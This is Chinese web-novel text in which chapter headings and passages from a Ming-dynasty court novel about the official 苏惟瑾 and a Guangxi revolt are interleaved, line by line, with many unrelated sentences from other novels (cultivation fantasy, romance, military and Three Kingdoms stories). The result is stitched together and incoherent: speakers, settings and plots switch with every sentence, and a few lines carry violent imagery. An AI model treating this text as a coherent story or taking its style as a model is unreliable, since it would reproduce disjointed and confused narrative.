“可以将战斗该为一场,也可以按照你说的,我们不派十杰级别的武者,但我们已经获胜了一场,就算这场你真的赢了,那这试炼之地的入口也无法分配呀。”季家老祖问道。
第253章 张璁酸表态,清流暗失望
嘉靖帝在朝会上对苏惟瑾那句“秉笔直书,深体朕心”的公开褒奖,
胜如在看似平静的湖面投下了一块巨石,
激起的涟漪层层扩散,冲击着朝堂各方势力的心绪。
最五味杂陈的,莫过于礼部左侍郎张璁。
那帮老家伙又说是年轻的这一块,这个二哥想要谋朝篡位,真正的阵痛。
火神洞口早已经不是当初雷霆他们所见的模样,这里人声鼎沸,一排排红木座椅延伸,布满整个山脚。
“哼,你们简直太可恶了!”萧墨染又抗议了一声,噗通一下子坐在了沙发上,气鼓鼓的不看任何人。
原来它的脸真的是面具,真的能够拿下来,不知道拿下来后,它会是什么模样?
唐赢有些措手不及,这两天一直在想怎么阻止班主任家访,没想到她搞突然袭击。
“沈前辈说得对,我们必须把那个暗中指挥的人抓到,要不然后果不堪设想。”罗利跟着道,然后看向唐赢。。
耳朵被割了下去,两只眼睛也被捣烂,喉咙里发出咕噜咕噜的声音,根本没办法说出完整的句子。脚腕上被拴着手腕粗细的铁链,好像是一只丑陋的动物。
他知道叶锦幕的戒心重,可没想到,他这些天的努力,完全没有任何的效果。
我按照余念说的看了一下,发现并没有。路上只有一辆孤零零的红色跑车,侧翻在路边。
“我……我从网上看到她的作品,我觉得她很有天赋和潜力,所以就跟她一起合作了。”苏樱意识到事态严重,老实的交待。
“其他食堂可能没了,但风味餐厅肯定有。”实在不行,夏夜觉得他也可以出去吃。
元峰一脸无奈,自己的老婆过门了可自己还没碰过,真他娘的失败。
即便只是他们的代教官,也不应该在弓长张那么骂他们的时候一声不吭吧,平时训他们训的挺凶,在首长面前,一个屁都不敢放。
这么不禁吓,都白瞎了她家岁岁特意联合王老婆子婆媳俩做的这场戏。
傅诗婉懒得和这样的人再说话了,她就不该答应他来吃这顿饭,平白的恶心自己,搞得胃口都不是很好。
林轩记得,侠客行的主角“狗杂种”狗哥,在侠客岛上就处于顿悟状态。
不错,很好,虽然在灵质攻防的课程里,利用血液改造外物稍微有点作弊的嫌疑,但很有想法。
当然,他是按照顾雍之大师的身价来的,他爸十年前请顾大师看一场风水就包了八十八万的红包,更别说现在的市场了。
“呀!那就是说,大姐姐与外男私相授受,怀的孩子是一个野种?”上官卿难以置信地看着上官玉。
邓艾听不懂那人说的话,直接想柳生金二问道。柳生金二也不敢隐瞒,直接翻译了一遍。
身为一方诸侯,袁绍不会没有自己的决断。是吴顺从中挑拨又怎么样?正好遂了他的心,正愁没借口对曹操动手呢。
没错,就是她!这么说,师父是在欺骗自己,她们原本就是结伴来苍龙郡,根本不存在半路搭救的事?
就是不知,这神使如果根本没听到神的旨意,却对外宣称听到了,别人又怎么分辨?难道就靠他一张嘴说?
陈龙感觉有些无聊,干脆就打起了太极,看用太极试试有没有被那老不死的伤到自己本源,所以陈龙就慢慢的练了起来。
第254章 内宦藏祸心,司礼监暗流
赵风去时,正见着林虎在挽留一位中年男人,这男人虽然上了年纪,但看上去依旧眉目清秀,只见他背着一筐草药,正准备离开。
初五一见,刚刚聚集起来的勇气立马泄了一半,跟着头脑也有些昏沉,本来就半吊子的功夫,更加没有章法,被逼得节节败退。
那门子接过油纸包,鼻尖立即窜进一股混杂着辛辣滋味的包子香,便嘟哝道:“什么东西?怎么闻着像包子……”说着,他还斜着眼睛,上下打量江寒,一副戒备的模样。
那个东西类似于令牌之类的东西,当那些守城的人看到令牌,立刻放行了。
这会儿,车中沉默了,后车座上的鞠婷婷可是听的云里雾里,怎么感觉像仙侠电视剧的既视感?
希望上校能够战胜二王子,夺回他的新娘,然后一块儿回来,他相信,并且等着他们。
“殿下,我,我真的不认识他,请殿下明查!”无梦立刻跪在地上磕头。
卓放的眼睛是固定的,他视力受到周围环境的限制。他注视着星星被逮捕向无中的方向。他的体在草地上迅速拧动。他侧头避开了一把剑,转过来。
慕紫看着慕芸走远,总觉得哪里有些不对劲,一时又说不上来缘由。
“你说有人撞你,你指出来!”跟来帮忙的江老爹,也顶着一额头青筋拄着拐杖走过来。
以圣人法力硬生囚禁鲲鹏老祖,而这位圣人终于立在鲲鹏这只大鸟的背上,鲲鹏老祖挣扎良久。似乎终于臣服了,但是就在圣人注意力稍松懈之时,鲲鹏老祖已经撞向了大地。
可赵政策也必须顾全嫂子的面子,这事情不能说破,惟有感叹而已。
席撒假作开怀,大笑道“是是,本王的错,只顾自己心急,却让你吃痛受苦了。”窗外这时想起凌上水通报声音,席撒抱歉的替她盖妥被褥,穿戴出门。行出不远,就精神萎靡的呵欠连连。
如果琉星没记错的话,那似乎是玛琼琳引以为傲的必杀——所罗门·格兰帝之剑。
七公主被易之带上罗刹,这才解开她被封穴道,简略告之情形,好一阵她才从迷惑中清醒,紧接着欢天喜地。席撒默不作声,这时终于摘下袍帽,含笑相对。七公主看见他的容貌,笑容凝结,目瞪口呆的紧紧注视他。
“终南山是个不错的地方。”庄万古口气相当的淡:“现在的长安城,强者已经太多,已经再插不进一个强者了。”云中子坐在仙鹤上,看着庄万古良久,一拍仙鹤的头,驾鹤西去。
第三种则属于背景雄厚的人,属于凭关系进来的,能混进市政府办公厅的人关系可不简单,一般的处长级别都没有决定权,应该需要厅级以上背景。
“这厮不知好歹!”袁洪的化身出了北海云中地界,又一路往北行去,北海之畔乃有天池,是洪荒中涂山氏所建的根基,就算当年嫁与大禹,入主人教时也没将这份家业丢了。
“芯叔,我信您。”赵政策终于露出一丝笑容,点了点头,凭自己的经验,黄铁芯这话是真诚的。
魔礼青奔回关内,先施法去了捆仙索,乃持青云剑仗剑而来,只取姜尚,被中军雷震子截住厮杀,姜尚又将打神鞭祭到半空乱打,一时间只见众军一场好杀。
燕天铭的话让上官青阳那颗麻木的心跳乱了节奏,她…真的在找他?
“你知道?”话一问出口她便笑了,从认识欧阳君诺到现在,有什么事情是他不知道的。猜也能猜到她到皇宫是去哪里了吧。
这一下干净利落,就算比他力量强一些的人在这种情况下,都会被打个措手不及。
“当时看到我那么落魄,激发了你的同情心?”我似笑非笑地问叶星。
周一,天气晴好,阳光明媚,我身着一套青灰色的职业套裙,和黑色的半高跟皮鞋,象往常一样精神抖擞地去上班。
我的性格里一直有一种很男子气的东西,就是遇到不讲理的人,吵架已经根本不能解我心头之恨,我也懒得和她再废话争吵,这个时候非要动动拳头才能解我心头之恨。
秋水长歌一下子转过身来,拥抱了无忧,在有着竹帘子的窗口,在红木的梳妆台前。风吹着窗前的风铃,叮叮当当的,恍若梦境里的部分。
宫殿大门敞开着,仿佛等待着客人来临。里面依旧阴冷,每一步踩在地上都能听到自己发出的轻微声响。
不多时,器破天的额头上就有了满头汗珠,只是邪云天与丹臣的脸上却没有任何状况,虽然密室中的温度的确很高,他们两个都还是能抗住的。
昏暗的殿内没有下人掌灯,他仿佛已经彻底被人所遗忘。当初被封柒夜所擒之后,相信他的贤王府也早已名存实亡。现在,他什么都没有,唯一剩下的就是这一具残破的身子。
道士还让她既来之则安之,说什么这一切都是命定的安排,笑话,难道老天爷命定让她穿越过来,可她来是为了干什么?
夏侯策一愣,这倒是,只要是人都喜欢甜言蜜语,便是男人也不例外,他听了宋依依说喜欢他的话便会开心,想来她也一样如此吧。
第255章 超脑寻外放,广西乱入眼
简医生先去看了一眼烈成安的情况,确定只是晕倒,而不是脑溢血之类的严重后果,便来到烈渊沉身边。
这个气泡在他的身体里,如果,真被这头大熊戳破了,他可不敢想象会发生什么样的事情。
哪怕宋雪菲是十六岁的王者影后,还不得看她这个青铜演渣的脸色行事。
一如,天塌下来有个子高的顶着,她们“傻瓜”嘛,自有顾洲这样的聪明人拯救。
所以,最根本的原因还是在于,先前的事件,让他们太过损伤,没有办法一朝一夕的就迅速的恢复与休整过来。
确实,他们在年轻的时候,还真没少得罪人,到底是谁来寻仇,还真不知道。
陈放不禁若有所思,他想到了当初登记的时候,做过一份性格测试,想来是有的放矢,用来判断刚刚玩家的回答是否遵循本意,而不是故意迎合。
章明曦听到这句,心里似灌满蜜,又甜又腻,脸埋进男人充满男人味的胸膛,手又拧了一下男人的腰。
轻松获胜的野原似乎注意到了叶真在看他,转过头来,迎着叶真的目光,微微昂首,眼眸中,瞬息间燃起了汹汹战意。
他给风神打电话耽误的短短时间,再来到广场上,广场周围,已经是围得人山人海。
煮鸡蛋,还需要一点时间,徐雅然实在是不想呆在厨房里,一直等这个鸡蛋煮好。设定好时间之后,徐雅然就直接从厨房里出来。到了客厅里,李益岚倒是规规矩矩的坐着。徐雅然直接在李益岚的旁边坐了下来。
“半桶水,我只是试试而已,几十年过去了,保险索拉响了有没有用还是一回事,你干嘛那么紧张?看起来真可爱……”夜叉王笑道,竟然还用“可爱”两个字来形容胡顺唐。
话虽然如此说着,但是老头儿眼中闪烁着光芒却眼睛都不眨一下的看向林浩。
南宫善予说到“吃”字的时候,眼睛直直的盯着苏欢欢,还勾唇舔了舔自己的唇瓣,那模样,要多情、色,有多情、色,仿佛是在想诱、惑苏欢欢。
最为奇怪的是,易大师本就是英雄联盟的元老英雄之一,在战争学院生活过多年,不可能,连召唤师峡谷都不晓得吧?
哐当城被攻占后,龙拳恢复闪电战术,由于狂战士伤势没有痊愈,不能出战。铿锵天火和铿锵玄冰的冰火重奏阵又不能再抵挡龙拳,相反,他们经常会陷入龙拳的雷霆枪阵中。
被他这么一搞,周围想靠近他的人都不敢朝前走了,蔡冰儿见状,自己走了过去。
“你去哪里了?”一道冰冷的声音在身后响起,童乖乖回头,先被‘乖乖’扑了个满怀,接着看见的就是腹黑大爷的一张臭脸。
“继续。”十秒钟都不带有得。顾祎又说。白晨跟着喊了一声。下面的人忙着继续训练。
旬翔由此产生了一丝的恨意,不是对他的父亲,而是对那些告状的民众。他暗自决定,要报复一下他们。
“你霸占了他们的位置,等会上课他们会找你麻烦的。”叶贝贝的心始终是那么善良,再次提醒萧傲。
“我亲身进经历的事情,又怎么会不知道?”淡淡一笑,聂枫并没有说太多,毕竟自己说天冥门的少主居然屠村,实在让人难以相信,尤其是没有证据的情况下。
锦娘听了这话便皱了眉,刚才金儿可是明明白白地说,是自己指使她在点心里下的毒呢,哼,没想到,这厮心里还真有金儿,竟然在如此情景下还护着这陷害主子的恶奴。
老祖发出杀猪般的惨叫,唤醒四人的心神,才确定这一切不是错觉,而是真实的。此刻老祖正在那人的脚下,被他一脚一脚踩在脸上,踩得鲜血狂喷,脑袋瓜子都变形了。
他的腿……好了吗?不会吧,若是好了,此等比试又有何意议?父王几个反对的最大理由不就是说他是残疾么?他一站起来,那理由不就不攻自破了?
云过对散仙有着特殊的感情,毕竟在这个职业上倾注了七年心血,三百二十级的仙师,代表着无上荣耀。
一段时间之后,不断转换着法诀,神色凝重的毒帝忽然就脸色一松,不过还没没有过一秒,毒帝的神色就从放松瞬间变为了惊愕,接着就是一阵的惊骇,下一刻,毒水之球的表面就出现了无数的裂痕。
洪凯轩心中那个恨呐!用手抹了一下自己的脸,吐了一口唾沫,这才面带怒气的朝着那雷电兽报仇雪恨去了。
而且撤换几乎全部的省委主席,清理地方军阀势力,对全国的军队进行统一整编,军队费用由国家财政统一负担,不在由各省直接抽取负担。
他料到程荆会兵变自然早就做了保护防御措施,将墨羽军调遣到凉城,如今不该是程荆的军队包围府邸而是他们全数被墨羽军擒拿才对,程荆终究是棋差一步,输了。
风暴中心处蓦然出现一道金袍男子,这男子周身的灵力‘波’动极强,此人修为赫然到了圣丹境后期,真是邹家唯一的金丹境的老祖,邹应天。
岑可欣这才想起,前两天也不知谁开了头,于是商量晚上去KTV唱歌聚会,刚好明天是星期六。
以他的这种‘性’格在这种残酷的修炼界中生存会更加艰难,也正是因为叶拂的照料,他在北界的修炼道路看似危险,实际上是不会出现生命危险的。
张铁见到顾永峰的眼色,含着烟出门,他蹲在屋角檐下,眼神一眨不眨的盯着山下。
这不说还好,话音刚落,云层之中一个接一个的战魂战了出来,他们受不了叶少轩这般的挑衅。
第256章 鹤岑再夜观,预言八桂烟
西苑,万法坛。
夜色如墨,星子疏朗。
新晋的“鹤岑国师”身披御赐紫金道袍,
手持拂尘,立于观星台上,
夜风拂动他精心打理的须髯,
倒真有几分仙风道骨的模样。
所以他立刻行动,将八大穴道的源气按娜儿认为最好的量比调至气海,进行融合,并按自己心仪的形状,用意念去引导源气聚拢成形,再用阳刚穴的源气参透进去,瞬间定型。
“只是,之前联姻的流言,是从哪里流出来的?”众人开始对这个感到惊奇了。
“好,那我以后就是社会人林爷的妹妹了!”王欣颖忍不住笑道。眼睛都笑成的月牙形状。
王母娘娘啜茶心算的功夫,凌白、冥夜殇、凤灵歌拥簇着瑶姬安静下来。
这时,凌冬又发现地面变回黄色沼泽地,而且一望无际。却不是土虱所说的百里就是天主山,还有人家。
而第二个愿望虽然在别人眼中是惩罚,虽然可能危及生命,但是,整个过程却可以由自己决定做主,全凭心意。
回到房间,王晋把微波炉里热好的饭端了出来,趴在茶几上大口大口吃了起来。
走进洞窟,叶轩也更加清晰地感觉到了里面传出的数股波动,他也终于确定其中最强的那人果真是白化门的曾志龙,另外还有三个圣者的气息,想来就是白化门的另外三人了。
“可以,这个解释我给你满分。走吧!带我去我的房间看看,赶了两天的路,我已经很累了。”院长说了两个原因,王晋却觉得第一个才是院长真实的想法。
如今的太原王氏等五姓七族又要蛀食大唐江山,自己却再无力阻挡。
灵翊解了衣服,就也上床睡觉,北雪宁感受到他回来了,立刻就像八爪鱼那样缠着他。
“你也别得理不让人,差不多就行了,再少点,他们也不容易。”高河装好人。
只是伽兰的过去,他们无人知晓,恐怕灵佛山中,除了祖师,便再也无人知晓伽兰的身份了。
“哈哈……”凌莉被哥哥滑稽的一幕逗乐了,遭来凌俊彦一顿白眼。
“尊,你怎么,突然来这里了?”一行人,认亲的认亲,终归是退了几分热乎劲了,墨玖将二锤还给了墨尊,问道。
这返回路上,北雪宁一直在想着,这要怎么去幽冥殿,想来想去,还是想要到了陌惊澈。
季天骐甚至连看都没看一眼,迅速的买好烤热狗,又多点了两杯奶茶,然后又迅速的打包带走。
“呵呵,那我得好好想想了,等我想到了再告诉你,没想到这电影里的情节居然发生在我的身上了,早知道如此我当初应该说一百、一千个要求!”她有点后悔了。
“没事,我问问她。”杨政委说完,回屋问岳嫂子去了。岳嫂子一听盛风华有事,让她帮着看一天孩子,立马就答应了。
其中一个宗门便是北斗世家,虽然叫做世家,但是并不是统一的姓氏,北斗世家之下有诸多势力组合起来,相互结盟形成的北斗世家。
“什么”,杨天扭过头看去,果然发现之前被打趴下的那个破虚强者消失了。
“杨天需要帮助吗”老木出现在杨天的身边,望着天空上的劫云。
第257章 朝堂争利急,谁念边民苦
广西思恩、田州土司岑猛作乱,
攻掠州县的六百里加急军报,
到底是在一个闷热的午后,
裹挟着南方的瘴气与血腥,
重重砸在了北京城的金銮殿上。
消息传开,倒没引起太多意外
——广西那地方,土官闹腾就跟六月天的雷阵雨似的,
隔三差五总要来上一回。
可这回不同,几乎在军报抵达的同时,
宫里就传出风声,说陛下龙颜震怒,
对于这点,迟景越也是无需隐瞒的,的确,夏辉阳一直是他的竞争的对手。
石屋比外面清凉一点点,不过也是高温,只是我们都有了落脚点。
据说生活在地下的黑暗系邪恶生物也有这样的能力,而光系也有改善视觉的作用。
篱笆后面就是果园,里面的果树长得很高,不过没有结多少果子,叶子也开始泛黄。
看到她想吐出来的样子,连忙用手合上她的嘴巴,在她耳边哄道。
虽然他未必需要这种维护。他宁可她万事不关心,只是简简单单的陪在他身边就好。
白依妍穿着一套睡衣,长发拢在脑后束成了马尾,清丽的脸蛋全部露出来,白肌似雪,让人怎么看,都觉的养眼极了。
“你要怎么样才肯放过她?”她紧紧抓着他的衣服,乞求的问,终究还是软弱了下来。
在最心烦意乱的时候,手机突兀的响了。是岳婷的短信:看微信视频。
明明知道是怎样的局面,他看着,难道就不心疼吗?他跟她,就只有那么一晚,知道了心里也怪不是滋味。
何武眯缝了双眼:“我会注意的。”而此刻他心中却是轻叹:看来我得抓紧时间去解救十九妹出来,而后得到族内血脉才成,只有以凶克凶,否则,真有这个可能。
强大的力量终究是将段延庆的手掌打的裂开了,鲜血狂流,天凡右脚伸出,直接将他踹飞了出去。
苏联人准备对人民军施展“拖”字诀,不过,西北电台将7月5日人民军一战歼灭二十万苏、蒙军的战况简报发布后,一些相关方却坐不住了。
“在那边工作,忙不忙?”许沫终于找到机会,插嘴问道,最近几天,主要就是由她照顾冉静儿,单调的生活让她觉得好无聊,甚至有点憋屈。
平凡的一席话,可让李明乐坏了,他的目标就是要在这个世界里,将制造体打造的一点儿也不亚于自生的有机生命体。
如果从外观上看,谁也想不出这是一枚始神丹,还以为是真正的人类。
“放肆,你算什么东西,竟敢如此和我界始祖说话!”有天仙八重天的天族高手怒声呵斥,无法忍受天凡的这种态度。
不管是中子星、还是超级红挨星,还是巨大的气态、固态行星,都了无生息的停在那里,以反物理常规的方式,就那么一颗挨一颗的停在那里。
“李煜,李煜!”姜雨瑶一脸高兴地样子冲进了李煜的办公室,这才刚过去不到十分钟。
申羽带着五美直接消失在孙婷娜三人眼前,再度出现时,已经身处一处花园般的所在。
红姨娘激烈的叫喊声在这沉寂的黑夜里尤为尖锐和惨烈,在夜色笼罩的范府上空中高高地扬起,让人听得格外心惊和渗人。
舒心一脸激动的说道,而沈若秋直接冒汗,心道天休的,这丫头是不是得了花痴绝症呀,竟然还说什么享受人生,真是没救了。
君臣之道,无非一张一驰,一方公候,哪个不是手握重权的,像徐俌这样掌握兵权的更是有之,若是徐俌没事总是呆在南京装深沉,恐怕老朱家就要猜疑了,你在南京到底在干什么?
第258章群丑争利成笑谈
北京城的街面上,依旧是车水马龙,
贩夫走卒吆喝声不绝,茶馆酒肆里谈天说地,
俨然那远在数千里外的广西烽火,
不过是说书先生嘴里又一个光怪陆离的故事。
然而,水面之下,暗流湍急得能绞碎船桨。
“放心,你那几株草药足够换这三颗空灵草的了,不就是空灵草吗?”天岩信誓旦旦的说道。
圣堂骑士的地位高高在上,只比几个大主教的地位稍微低上一阶,在在行走连几个城主都要出城迎接,混乱大陆很多年没有出现过圣堂骑士,现在竟然在这里看见一个。
张岩一呼一吸,体内的火山轰然作响,如同大江大河,火焰开始发生质边,狱火如同一条狰狞的蟒蛇咆哮着扭动着身体,在火山中肆虐发狂。
既然田牧野再次尸变,那么我便再杀他一次好了。我的手臂开始变粗变壮,但是身后却传来了巫念的声音。
无常当然会画画,这个习惯其实是前世他的师父给逼出来的,修炼禅定功夫最基础的要素就是心静,而当过强盗做过雇佣兵的无常,脾气之火爆就甭提了。他的师父为了磨他的性子,就想到了写字和画画这两个办法。
他努力地回想着老王生前与自己谈过的每一个细节,想到那位老军人刚才的一声“老连长”,沈桐好像听到过,又好像不太熟悉,思虑再三,他决定折返回老王的住处,看看能不能找到点蛛丝马迹。
安然想说不用了。可心里又觉得离别在即。有些恋恋。磨磨蹭蹭着不想分开。又将话到嘴边的反对咽了回去。跟在江杰云身边。不是很着急的往楼下走。
可联想到他的身世。安然心里又是一阵的恻然。纠结着不知该不该开口。该怎么开口。
说着,便给几人作介绍。这位中年人却是县委信访办的刘九通刘主任。
可是,脑袋却好乱。我又听见了无数的低语,有呐喊,有哭泣,有大笑,有祈求。苍生无数,他们宣泄着内心里的情绪,在不停的低语。你们想要对我说些什么,你们为何要在我脑袋里这般吵闹。
几句寒暄,也不由得失望透顶,这世子也只是拉拢自己,而自己却是不需要这样的拉拢,况且李回潮满面红光,早已无一年之前那种睥睨的先天气势,反而多了一丝官场的味道,着实令人失望。
“哈哈……”就在众人怀疑乔峰时,一声长笑响彻云霄,众人不禁疑惑地望去,却见发出笑声的正是陆无尘。
“放心吧老板,我们绝对不会让你失望的!”龙飞一整脸色,向着老九行了一礼,然后严肃的说道。
薄言禾虽然从来没有见过类似央胥宫的仙派,但她脑海中还是出现了很多画面。
张巍这才熄了要跟去的心思,只论一对一的话,徐晓娜战力不比他弱。
谭月华没有考虑就答应了,只是当她抱住陆彦的身体时,才发现这样只会让两人的姿势更加的亲密。
在这个都在调试自己实力的关键时刻,谁能想到当下一位位高权重,深受倚赖的绣衣高手,会对自家顺王下手?
他最先看见齐为渊时,瞬间警惕了起来,但当他感受到齐为渊身上的气息后,就知道他不是叶秋风了。
第259章 自请为参军,帝允随军行
金銮殿内,因苏惟瑾举荐王阳明而带来的短暂寂静,很快被一种更复杂的暗流所取代。
嘉靖帝那一声“大善”和随即下达的旨意,
如同定音锤,敲定了平叛主帅的人选,
却也敲得某些人心头滴血,敲得另一些人心思急转。
一旦尼特拉被攻下,华军距离奥国都城维也纳也不远了,而第六军团可以继续向西,而后再迂回向南,从而完成对维亚纳的包围。
心知冰锥的威力极强,零观以魔法击碎冰锥的同时,也打开了魔眼“遍记万象”,对这记魔法进行最细致详细的分析和拷贝。
但片刻后,张赫却又忍不住浮上了满脸的炽热之色,因为地藏王的元婴,居然将陌长迅体内的两条完整的天地法则链捏在了手中,随意把玩了起来,不仅如此,他又还在挥手间,将另一名光头体内的法则链也捏在了手里。
吕布以为郭汜是在耍什么花招,便没有率兵攻打,而是选择与郭汜的五千人马遥遥对峙。
“你说你们的社长金光洙想要在现在这时候帮你们出一张单曲EP?”朴智浩像听到了一件不可思议的事情一样看着自己面前的朴智妍道。
“智浩呀!”看着刘在石突然的介绍朴智浩,无挑成员集体的一个无语。这是刘在石在斩断大家的后路呀,连朴智浩都要努力的话,他们这些无挑成员就更加要努力了。
浑身黑亮的鲲鱼从海底潜行上來。似乎极为震怒。吼声不断。那种声音让人听了就头疼不已。异常吵闹。
看到了对方的攻击,江岸的原计划取消,他本想利用雷霆落世冲过去再度发起攻击,可是丁三胜的攻击超乎了想象,而且他也注意到了自己的雷霆对他根本没有太大作用。
“一切安好,母子平安,你上去陪陪惠子吧。”甄斐的态度十分温和,彬彬有礼地说道。
而就在这个时刻,让所有人都震惊的一幕发生了,又是一道黑影,瞬间暴起,冲向那柄宝剑。
瞬时间,除却林涵在内的寥寥数人之外,场中所有的修士,皆是齐齐凝眸,死死的紧盯着那天元居士手中的褐色卷轴,那竟是五品灵诀?
林枫自然同意,现在他刚刚来到J市,属于势单力薄的阶段,跟他们结交,对他今后的事业也非常的有帮助。
牛魔王等人看着孙悟空,他死了,还仰头看着天空,像是在咆哮。
从这份名单上看,有不少大人物都会到场,如果到时候名字叫错了,那可就出丑了。
萧半山苦笑着点点头,这是曾经他最期望萧雨柔能做到的程度,可如今萧雨柔真的做到了,萧半山心里却说不出的不是滋味儿。
一路交战,所过之处,惊退了不知多少人,那些人觉得有这么两个高手在,他们再赶来,和送死也没什么区别。
隐世家族,华夏肯定存在,他们身为普通人,自然有很多人,很多事是不知道的。
几个兽人捂着脑袋惊恐去看,林语身形不算高大,但此时在他们眼中显得高不可攀,如荒古战神临世。
所有人在此刻都如疯了一般,不断的指着狄煜,生怕赵家人看不到而牵连自己。
此时已经掌握了这方面的资料,林沐当然要尝试一下,毕竟他不能每时每刻都与巨鲸保持精神链接,如此的话,他就什么事也别想干了。
第260章 双喜临门日,重任压肩时
第260章双喜临门日,重任压肩时
苏府那两扇新漆不久的朱红大门,
今日算是结结实实体会了一把什么叫“蓬荜生辉”。
宫里来的宣旨太监,身着簇新的葵花团领衫,
手持明黄卷轴,在一众小黄门和仪仗的簇拥下,
大妈有一个梦想,那就是建立一个有所有种族存在的梦幻国度——托特兰王国。
这也不怪他们会没想到,主要是镜像空间一直以来几乎都是超凡者的专属乐园,普通人基本就不会进入,也不被允许进入。
影片结束后,他们甚至怀疑这是三个不同性格的三胞胎所表演的。
但是春华已经都这么说了,他这样有责任心的人把责任都揽到了自己身上。
补气xue的没跟上,家里饮食虽有,但是药膳应该更适合,调养段时间吧,毕竟她那时状态不同。
只见青水城空间内,遗迹正在遭受着噬魂兽军团一波凶猛的攻势。
说完后,楚御一脸戏虐的望了一眼表情精彩顾雅雯,迈着八爷步离开了别墅。
苏鹤亭呶了呶嘴,没作声。他见惯了人世间的血雨腥风,尔虞我诈,自然知道在什么环境下用什么样的手段能够取得怎样的效果。
于是,我就放大了我手中的客星剑,一道耀眼的剑光随即照在了我的脸上似乎给了我一阵无穷的力量。
每天都在上演着搞笑与爱情交织的精彩气氛,一连拍了四部,加上上映完毕不久的大电影。
张猛一阵尴尬,不知道该如何接下去,再次假装镇定,翻了一页手上的本子,好像是在寻找着什么。许久后才问出下一句。
张老三土菜馆,是吐祥镇新开张的一家饭店,张老三有个做副镇长哥哥,所以他这里的生意还不错。
张继兵和杨建杨胜这些连长们,留在这里跟着雷战,其余战狼营的战士留下了一个排的兵力,剩下的全部散开,在鬼子指挥部中搜查了起来。
“你是要怪罪于我吗?”庞统说话有些冲,心想幸好我那天没去,要不然当场就被当俘虏关起来了。
张绍苧带着惺忪的睡眼,一步步的跟着几个自己在警局从来没有见过的好像是年轻警员来到了审讯室,不过,这次令人奇怪的是,张猛没有在现场,而现场的几个负责监督的,张绍苧一个也没有见到过,都是新人?
听她这样说,曹越再次哭笑不得,也懒得和她说什么,躺着任她折腾。
吕长乐的母亲和童薇薇的母亲当年是情敌,为了争男人大打出手。现在,姜依萍的儿子又想娶童薇薇,这关系够混乱的。
而当天晚上,葛良奉命先行拜见刘备,因为刘备一来想知道西线战事为何进行得那么顺利,二来想问问葛良主动提出要到宛城来商讨后续战事到底是有什么想法。
感慨的看着手中的美酒,蔡老头忍不住又喝了一口。随即,抓了几粒花生米在嘴里回味。
“将军从东而来,那长安城里现在如何?”邓芝竟然也没有回答马超的问话,他只想拿下长安城。
接下来的几天里,这些被接来的人确实是过的不错,除了不能修炼,不能胡乱说话,不能乱走之外,他们还算是自由的。
帝国一向崇尚武学,以武力高低选拔任用,界定级别也十分严格,这铜斩排在五斩之首位。
第261章 府内定乾坤,众女誓同心
圣旨的余威和即将为人父的狂喜,如同冰火两重天,在苏惟瑾心头交织。
他知道,离京前的每一刻都无比珍贵,
必须将家中这块“根据地”经营得铁桶一般。
再后来,那个贪玩喜欢调皮捣蛋的段海峰消失了,取而代之的是那个努力学习的学霸。
祝弘新继续说道,眼中充满了凝重感。此时赵昊他们的武力水准同灵蛇战队比起来,差距实在有些大,要想追平这份差距。除了这三个月内必须无比刻苦的训练,还得凭借他独有的特训方式。
胡天听到这插了一嘴,其他的他不好奇,就是好奇他们两家都是世交了,张龙为何还要逃婚。
妖界带来的食材经过转灵机的转化,再经过系统给予的方法烧制菜肴。无论是营养还是其他的方面都要比人界的原本菜肴要高不止一个档次。
眼前的灵药异宝,可以分作五分,还有些结余,因此孙旭又找了一份延寿丹的方子,用剩下的药材分成了两份的量。
现在龙金栋对沐思颜进龙家没有什么反对的意见,唯独,就是陆默云有些不开心,已经有几日没有回去看看了,今天回去跟陆默云在沟通一下。
临别,王亮把这首诗送给了连队的官兵们,没有什么能比这更贴切地形容基层官兵们生活了。
“零毕哥,这个已经不是秘密了,最近你也许是没有发现,山下的一家药铺已经证实了被毒虫大面积咬伤是有办法医治的。”阿屯说着,走到了零毕的身边。
但韩昭仪心里清楚,他喊得是自己的生母宝林柳氏,当年还是她陷害那人与侍卫私通,才将庆王夺在自己手里抚养的,这会儿听庆王在意识稀薄是本能的喊柳归映,她心里有些不安。
细细的回数着手中日历的页数,不多不少正好还剩下十二天,这时手中日历又恢复到了今天的日期。
他们目不斜视的走到慕轻歌面前行礼,身上带着的肃杀之意,让不少人都退避几分。如此出色的亲卫,就连秦瑾昊也露出了垂涎嫉妒的眸光。
安泽一一直非常喜欢达克的眼睛,很黑很深邃,望到深处一片寒,但是安泽一觉得,自己心里面会有一种很宁静的感觉。
转眼望见几位龙章凤姿的贵胄,岱眉这才意识到其他人的存在。不待她心中的问号画完,三名光彩各异的男子便纷纷朝她行礼。不曾谋过面的那两位更是自报起了家门。
霍南天几乎有点吓住了,她从来没有这么主动过,别说是坐到他的腿上了,就算是主动的牵着他的手都是很少的,她一直很害羞,可是今天她是怎么了?不过不可否认的是,他很享受,心神皆醉的荡了起来。
“吱儿”,一共三声吱儿。想想就血腥残忍恶心得很。所以,安泽一是绝对不允许家里出现老鼠这种生物的,更不会允许达克在他眼皮子底下吃老鼠。
凤凰刚刚站稳,四周却再次凭空出现了火线,一圈绕着一圈,瞬间就将他们给围了个密不透风。
顾年华一旁睥睨着林晓沫,总让她有些心虚,可是雨很大,她说不出自己住的具体位置。
第262章 拜会座师友,暗织护家网
苏府的马车碾过清晨微湿的青石板路,发出辘辘声响。
车内,苏惟瑾闭目养神,超频大脑却在飞速运转,勾勒着今日需要拜访的人物图谱与谈话要点。
离京在即,他必须为家中妻小,织就一张足够牢固的保护网。
第一站,便是座师,礼部右侍郎翟銮府邸。
从北海巨兽克拉肯的四处挥舞的触手开始,肉眼可见一般,迅速石化了起来。
季莫站在别墅前放出神识,发现有几处摄像头,他立刻拔出长剑用真气控制着,飞到摄像头前挡住摄像头前端,这样摄像头就拍摄不到任何东西了。
观察着观察着,他突然想到了一件事,他记得自己在浮冉之国被一把匕首捅进心脏的时候,自己的身体发生了翻天覆地的变化。
上面的洞,不是枪打出来的,而是人手弹出来的,可想而知,出手之人有多牛逼。
而欧阳锋也很清楚,龙堂方面现如今的红牌打手也就那么回事,就算是野兽重新回来打拳,在夜叉和疯神面前,也不够看。
八点半了,李振国招呼大家说:“集合了。”他清点了一下人数,便带着同学们来到了路边,上了一辆大客车,赵蕙也跟着上了车。
“不可否认也许是的!”显然的,葛警官也渐渐地被金夜炫挑衅的语气给惹怒了。
杨城忍不住翻了一个白眼,就老范这水准哪里能看得出演技的好坏,只要是易水寒在演,他都会觉得烂吧。
在月光的映衬下,他的睡姿就如一个婴儿般令人疼惜,长长的睫毛和挺拔的鼻子,顿时令我出了神。
